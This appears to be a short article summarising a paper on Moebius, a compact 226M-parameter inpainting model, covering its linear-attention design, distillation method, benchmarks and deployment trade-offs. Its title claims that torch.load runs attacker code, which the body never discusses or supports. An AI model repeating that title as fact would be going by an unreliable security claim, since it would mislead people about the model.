torch.load runs attacker code before the first denoising step

Moebius is a 226-million-parameter image inpainting model that its authors report matches FLUX.1-Fill-Dev, an 11.9-billion-parameter model, on output quality while running at 26.01 ms per denoising step. That is under 2% of the parameters and, combined with a reduced sampling schedule, more than a 15× cut in total inference time.

The paper (Duan, Xu, Liu, Ruan, Chen and Wang, ECCV 2026) is built on a standard latent diffusion setup: a denoising U-Net working in latent space, here with what they call Latent Categories Guidance. The change that buys the savings is in the attention layers. Standard diffusion backbones use self- and cross-attention, which cost quadratic time in the number of tokens. Moebius replaces those with a Local-λ Mix Interaction (LλMI) block. Its Local-λ and Interactive-λ modules summarise spatial context and global semantic priors into fixed-size linear matrices, so cost grows linearly with token count instead of quadratically. Most of the parameter and compute reduction comes from there.

Shrinking a network that far normally costs representational capacity, the bottleneck the authors set out to beat. Their answer is distillation rather than just a smaller net. They train Moebius as a student against a PixelHacker teacher, working strictly in latent space to avoid pixel-space decoding during training. The distillation is multi-granularity: it aligns intermediate features and the full diffusion trajectory together, with a gradient-norm adaptive weighting that rebalances the competing losses as training runs. They describe the design goal as finding the point where a compact student absorbs the most from the teacher before its representation saturates.

On evaluation they test across six benchmarks covering natural scenes (Places2) and portraits (CelebA-HQ, FFHQ), against FLUX.1-Fill-Dev and SD3.5 Large-Inpainting. They report parity overall and an edge in specific cases, naming complex textures and facial plausibility.

For anyone deploying this, the parameter count is the number that matters. An 11.9B model needs datacenter-class GPU memory; a 226M model fits on consumer cards and edge hardware, and 26 ms per step is fast enough for interactive editing. In return you give up scope. Moebius is a specialist for inpainting and object removal, not a general image model, and the paper’s argument is that a narrowly defined task does not need a generalist’s parameter count.

These are the authors’ own reported figures from an ECCV 2026 paper, with no independent replication in the source. The 26 ms is per step on a single GPU, and the source names neither the GPU nor the number of sampling steps behind the >15× total, so the end-to-end speedup in a given setup depends on both.